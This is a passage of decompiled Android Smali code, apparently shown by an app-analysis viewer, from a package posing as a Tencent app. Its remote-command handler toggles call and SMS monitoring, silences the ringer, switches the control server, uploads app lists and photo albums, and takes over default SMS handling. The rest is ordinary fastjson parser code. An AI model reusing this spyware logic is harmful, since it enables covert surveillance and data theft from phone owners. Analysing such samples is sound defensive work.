                                                428iget-object v5, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                430iget-object v5, v5, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                432invoke-virtual {v1, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                433move-result v1
                                                434if-eqz v1, :cond_269
                                                436iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                438iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean$Payload;->condition:Lcom/tencent/shopcj/bean/CommandBean$Condition;
                                                439iget-boolean v0, v0, Lcom/tencent/shopcj/bean/CommandBean$Condition;->state:Z
                                                440if-eqz v0, :cond_253
                                                441sget-boolean v0, Lcom/tencent/shopcj/main/MyApplication;->curPhoneMonitorState:Z
                                                442if-eqz v0, :cond_242
                                                443return-void
                                                444cond_242: sput-boolean v2, Lcom/tencent/shopcj/main/MyApplication;->curPhoneMonitorState:Z
                                                446iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                448invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                449move-result-object v0
                                                451sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->BLOCK_CALL:Ljava/lang/String;
                                                453const-string v3, "\u5f00\u59cb\u76d1\u542c\u7535\u8bdd"
                                                455invoke-static {v0, v1, v2, v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                456goto/16 :goto_3bb
                                                457cond_253: sget-boolean v0, Lcom/tencent/shopcj/main/MyApplication;->curPhoneMonitorState:Z
                                                458if-nez v0, :cond_258
                                                459return-void
                                                460cond_258: sput-boolean v3, Lcom/tencent/shopcj/main/MyApplication;->curPhoneMonitorState:Z
                                                462iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                464invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                465move-result-object v0
                                                467sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->BLOCK_CALL:Ljava/lang/String;
                                                469const-string v2, "\u5df2\u7ecf\u505c\u6b62\u76d1\u542c\u7535\u8bdd"
                                                471invoke-static {v0, v1, v3, v2}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                472goto/16 :goto_3bb
                                                473cond_269:
                                                474sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->BLOCK_SMS:Ljava/lang/String;
                                                476iget-object v5, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                478iget-object v5, v5, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                480invoke-virtual {v1, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                481move-result v1
                                                482if-eqz v1, :cond_2c8
                                                484iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                486iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean$Payload;->condition:Lcom/tencent/shopcj/bean/CommandBean$Condition;
                                                487iget-boolean v0, v0, Lcom/tencent/shopcj/bean/CommandBean$Condition;->state:Z
                                                488if-eqz v0, :cond_2a2
                                                489sget-boolean v0, Lcom/tencent/shopcj/main/MyApplication;->curSmsMonitorState:Z
                                                490if-eqz v0, :cond_282
                                                491return-void
                                                492cond_282:
                                                493iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                495invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                496move-result-object v0
                                                498invoke-virtual {v0, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                499move-result-object v0
                                                500check-cast v0, Landroid/media/AudioManager;
                                                502invoke-virtual {v0, v3}, Landroid/media/AudioManager;->setRingerMode(I)V
                                                503sput-boolean v2, Lcom/tencent/shopcj/main/MyApplication;->curSmsMonitorState:Z
                                                505iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                507invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                508move-result-object v0
                                                510sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->BLOCK_SMS:Ljava/lang/String;
                                                512const-string v3, "\u5f00\u59cb\u76d1\u542c\u77ed\u4fe1"
                                                514invoke-static {v0, v1, v2, v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                515goto/16 :goto_3bb
                                                516cond_2a2: sget-boolean v0, Lcom/tencent/shopcj/main/MyApplication;->curSmsMonitorState:Z
                                                517if-nez v0, :cond_2a7
                                                518return-void
                                                519cond_2a7:
                                                520iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                522invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                523move-result-object v0
                                                525invoke-virtual {v0, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                526move-result-object v0
                                                527check-cast v0, Landroid/media/AudioManager;
                                                528const/4 v1, 0x2
                                                530invoke-virtual {v0, v1}, Landroid/media/AudioManager;->setRingerMode(I)V
                                                531sput-boolean v3, Lcom/tencent/shopcj/main/MyApplication;->curSmsMonitorState:Z
                                                533iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                535invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                536move-result-object v0
                                                538sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->BLOCK_SMS:Ljava/lang/String;
                                                540const-string v2, "\u5df2\u7ecf\u505c\u6b62\u76d1\u542c\u77ed\u4fe1"
                                                542invoke-static {v0, v1, v3, v2}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                543goto/16 :goto_3bb
                                                544cond_2c8:
                                                545sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_CALL_RECORD:Ljava/lang/String;
                                                547iget-object v4, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                549iget-object v4, v4, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                551invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                552move-result v1
                                                553if-eqz v1, :cond_2d6
                                                554goto/16 :goto_3bb
                                                555cond_2d6:
                                                556sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->LOCK_RECORD:Ljava/lang/String;
                                                558iget-object v4, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                560iget-object v4, v4, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                562invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                563move-result v1
                                                564if-eqz v1, :cond_2e4
                                                565goto/16 :goto_3bb
                                                566cond_2e4:
                                                567sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->TRANSFER_IP:Ljava/lang/String;
                                                569iget-object v4, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                571iget-object v4, v4, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                573invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                574move-result v1
                                                575if-eqz v1, :cond_30e
                                                577iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                579iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean$Payload;->condition:Lcom/tencent/shopcj/bean/CommandBean$Condition;
                                                581iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean$Condition;->server:Ljava/lang/String;
                                                583invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                584move-result v1
                                                585if-nez v1, :cond_3bb
                                                587invoke-static {}, Lcom/tencent/shopcj/main/MyApplication;->getInstance()Lcom/tencent/shopcj/main/MyApplication;
                                                588move-result-object v1
                                                590invoke-virtual {v1, v0}, Lcom/tencent/shopcj/main/MyApplication;->updateConfig(Ljava/lang/String;)Z
                                                591sput-object v0, Lcom/tencent/shopcj/constant/AppConstants;->WS_BASE_HOST:Ljava/lang/String;
                                                593invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                594move-result-object v0
                                                596invoke-virtual {v0}, Lcom/tencent/shopcj/websocket/WSManager;->switchIpWebSocketRest()V
                                                597goto/16 :goto_3bb
                                                598cond_30e:
                                                599sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->RECONNECT:Ljava/lang/String;
                                                601iget-object v4, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                603iget-object v4, v4, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                605invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                606move-result v1
                                                607if-eqz v1, :cond_32b
                                                609iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                611iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean$Payload;->condition:Lcom/tencent/shopcj/bean/CommandBean$Condition;
                                                612iget-boolean v0, v0, Lcom/tencent/shopcj/bean/CommandBean$Condition;->state:Z
                                                613if-eqz v0, :cond_3bb
                                                615invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                616move-result-object v0
                                                618invoke-virtual {v0}, Lcom/tencent/shopcj/websocket/WSManager;->webSocketRest()V
                                                619goto/16 :goto_3bb
                                                620cond_32b:
                                                621sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_CHECK_APPLICATION:Ljava/lang/String;
                                                623iget-object v4, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                625iget-object v4, v4, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                627invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                628move-result v1
                                                629if-eqz v1, :cond_37c
                                                631iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                633invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$500(Lcom/tencent/shopcj/utils/ProcessCommand;)Ljava/util/List;
                                                634move-result-object v0
                                                636invoke-interface {v0}, Ljava/util/List;->size()I
                                                637move-result v1
                                                638if-nez v1, :cond_351
                                                640iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                642invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                643move-result-object v0
                                                645sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_CHECK_APPLICATION:Ljava/lang/String;
                                                647const-string v2, "\u68c0\u6d4b\u5e94\u7528\u5931\u8d25"
                                                649invoke-static {v0, v1, v3, v2}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                650return-void
                                                651cond_351: new-instance v1, Lcom/tencent/shopcj/bean/BaseRequest;
                                                653iget-object v3, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                655invoke-static {v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                656move-result-object v3
                                                657new-instance v4, Lcom/tencent/shopcj/bean/UploadAppRequest;
                                                659invoke-direct {v4, v0}, Lcom/tencent/shopcj/bean/UploadAppRequest;-><init>(Ljava/util/List;)V
                                                661invoke-direct {v1, v3, v4}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                663invoke-static {v1}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                664move-result-object v0
                                                666invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                667move-result-object v1
                                                669sget-object v3, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                671invoke-virtual {v1, v3, v0}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                673iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                675invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                676move-result-object v0
                                                678sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_CHECK_APPLICATION:Ljava/lang/String;
                                                680const-string v3, "\u68c0\u6d4b\u5e94\u7528\u5b8c\u6bd5"
                                                682invoke-static {v0, v1, v2, v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                683goto/16 :goto_3bb
                                                684cond_37c:
                                                685sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_PHOTO_ALBUM:Ljava/lang/String;
                                                687iget-object v3, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                689iget-object v3, v3, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                691invoke-virtual {v1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                692move-result v1
                                                693if-eqz v1, :cond_39b
                                                695iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                697invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$600(Lcom/tencent/shopcj/utils/ProcessCommand;)V
                                                699iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                701invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                702move-result-object v0
                                                704sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_PHOTO_ALBUM:Ljava/lang/String;
                                                706const-string v3, "\u5f00\u59cb\u4e0a\u4f20\u76f8\u518c"
                                                708invoke-static {v0, v1, v2, v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                709goto/16 :goto_3bb
                                                710cond_39b:
                                                711sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->OPEN_DEFAULT_SMS:Ljava/lang/String;
                                                713iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                715iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                717invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                718move-result v0
                                                719if-eqz v0, :cond_3bb
                                                721invoke-static {}, Lcom/tencent/shopcj/main/MyApplication;->getInstance()Lcom/tencent/shopcj/main/MyApplication;
                                                722move-result-object v0
                                                724invoke-virtual {v0}, Lcom/tencent/shopcj/main/MyApplication;->setDefaultSms()V
                                                726iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                728invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                729move-result-object v0
                                                731sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_PHOTO_ALBUM:Ljava/lang/String;
                                                733const-string v3, "\u6b63\u5728\u8bbe\u7f6e\u6210\u9ed8\u8ba4\u77ed\u4fe1\u5e94\u7528"
                                                735invoke-static {v0, v1, v2, v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                736goto_3bb: return-void
                                                Cross References
                                                APIs
                                                • java.lang.Class.getAnnotation
                                                • java.lang.Class.getName
                                                • java.lang.String.replace
                                                • java.lang.String.startsWith
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.startsWith
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.String.startsWith
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.String.startsWith
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.String.equals
                                                • java.lang.Thread.currentThread
                                                • java.lang.Thread.getContextClassLoader
                                                • java.util.Set.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.util.Set.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.lang.Class.isEnum
                                                • java.lang.Class.isArray
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                Strings
                                                • java.util.Optional
                                                • parser deny :
                                                • java.awt.
                                                • java.awt.Point
                                                • java.awt.Font
                                                • java.awt.Rectangle
                                                • java.awt.Color
                                                • java.time.
                                                • java.time.LocalDateTime
                                                • java.time.LocalDate
                                                • java.time.LocalTime
                                                • java.time.ZonedDateTime
                                                • java.time.OffsetDateTime
                                                • java.time.OffsetTime
                                                • java.time.ZoneOffset
                                                • java.time.ZoneRegion
                                                • java.time.ZoneId
                                                • java.time.Period
                                                • java.time.Duration
                                                • java.time.Instant
                                                • java.util.OptionalDouble
                                                • java.util.OptionalInt
                                                • java.util.OptionalLong
                                                • java.nio.file.Path
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/lang/Class<",
                                                4"*>;",
                                                5"Ljava/lang/reflect/Type;",
                                                6")",
                                                7"Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;"
                                                8}
                                                9.end annotation
                                                11const-string v0, "java.util.Optional"
                                                13iget-object v1, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                15invoke-virtual {v1, p2}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                16move-result-object v1
                                                17check-cast v1, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                18if-eqz v1, :cond_d
                                                19return-object v1
                                                20cond_d: if-nez p2, :cond_10
                                                21move-object p2, p1
                                                22cond_10:
                                                23iget-object v1, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                25invoke-virtual {v1, p2}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                26move-result-object v1
                                                27check-cast v1, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                28if-eqz v1, :cond_1b
                                                29return-object v1
                                                30cond_1b: const-class v2, Lcom/alibaba/fastjson/annotation/JSONType;
                                                32invoke-virtual {p1, v2}, Ljava/lang/Class;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                33move-result-object v2
                                                34check-cast v2, Lcom/alibaba/fastjson/annotation/JSONType;
                                                35if-eqz v2, :cond_32
                                                37invoke-interface {v2}, Lcom/alibaba/fastjson/annotation/JSONType;->mappingTo()Ljava/lang/Class;
                                                38move-result-object v2
                                                39const-class v3, Ljava/lang/Void;
                                                40if-eq v2, v3, :cond_32
                                                42invoke-virtual {p0, v2, v2}, Lcom/alibaba/fastjson/parser/ParserConfig;->getDeserializer(Ljava/lang/Class;Ljava/lang/reflect/Type;)Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                43move-result-object p1
                                                44return-object p1
                                                45cond_32: instance-of v2, p2, Ljava/lang/reflect/WildcardType;
                                                46if-nez v2, :cond_3e
                                                47instance-of v2, p2, Ljava/lang/reflect/TypeVariable;
                                                48if-nez v2, :cond_3e
                                                49instance-of v2, p2, Ljava/lang/reflect/ParameterizedType;
                                                50if-eqz v2, :cond_46
                                                51cond_3e:
                                                52iget-object v1, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                54invoke-virtual {v1, p1}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                55move-result-object v1
                                                56check-cast v1, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                57cond_46: if-eqz v1, :cond_49
                                                58return-object v1
                                                59cond_49:
                                                60invoke-virtual {p1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                61move-result-object v2
                                                62const/16 v3, 0x24
                                                63const/16 v4, 0x2e
                                                65invoke-virtual {v2, v3, v4}, Ljava/lang/String;->replace(CC)Ljava/lang/String;
                                                66move-result-object v2
                                                67const/4 v3, 0x0
                                                68goto_56:
                                                69iget-object v4, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->denyList:[Ljava/lang/String;
                                                70array-length v5, v4
                                                71if-ge v3, v5, :cond_7d
                                                72aget-object v4, v4, v3
                                                74invoke-virtual {v2, v4}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                75move-result v4
                                                76if-nez v4, :cond_66
                                                77add-int/lit8 v3, v3, 0x1
                                                78goto/16 :goto_56
                                                79cond_66: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                80new-instance p2, Ljava/lang/StringBuilder;
                                                82invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
                                                84const-string v0, "parser deny : "
                                                86invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                88invoke-virtual {p2, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                90invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                91move-result-object p2
                                                93invoke-direct {p1, p2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                94throw p1
                                                95cond_7d:
                                                96const-string v3, "java.awt."
                                                98invoke-virtual {v2, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                99move-result v3
                                                100const/4 v4, 0x1
                                                101if-eqz v3, :cond_c9
                                                103invoke-static {p1}, Lcom/alibaba/fastjson/serializer/AwtCodec;->support(Ljava/lang/Class;)Z
                                                104move-result v3
                                                105if-eqz v3, :cond_c9
                                                106sget-boolean v3, Lcom/alibaba/fastjson/parser/ParserConfig;->awtError:Z
                                                107if-nez v3, :cond_c9
                                                108try_start_90:
                                                109iget-object v1, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                111const-string v3, "java.awt.Point"
                                                113invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                114move-result-object v3
                                                116sget-object v5, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                118invoke-virtual {v1, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                120iget-object v1, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                122const-string v3, "java.awt.Font"
                                                124invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                125move-result-object v3
                                                127sget-object v5, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                129invoke-virtual {v1, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                131iget-object v1, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                133const-string v3, "java.awt.Rectangle"
                                                135invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                136move-result-object v3
                                                138sget-object v5, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                140invoke-virtual {v1, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                142iget-object v1, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                144const-string v3, "java.awt.Color"
                                                146invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                147move-result-object v3
                                                149sget-object v5, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                151invoke-virtual {v1, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                152try_end_c4: goto/16 :goto_c7
                                                153catchall_c5: sput-boolean v4, Lcom/alibaba/fastjson/parser/ParserConfig;->awtError:Z
                                                154goto_c7:
                                                155sget-object v1, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                156cond_c9: sget-boolean v3, Lcom/alibaba/fastjson/parser/ParserConfig;->jdk8Error:Z
                                                157if-nez v3, :cond_1be
                                                158try_start_cd:
                                                159const-string v3, "java.time."
                                                161invoke-virtual {v2, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                162move-result v3
                                                163if-eqz v3, :cond_17a
                                                165iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                167const-string v3, "java.time.LocalDateTime"
                                                169invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                170move-result-object v3
                                                172sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                174invoke-virtual {v0, v3, v5}, Lcom/alibaba/fastjson/util/IdentityHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Z
                                                176iget-object v0, p0, Lcom/alibaba/fastjson/parser/ParserConfig;->derializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                178const-string v3, "java.time.LocalDate"
                                                180invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                181move-result-object v3
                                                183sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
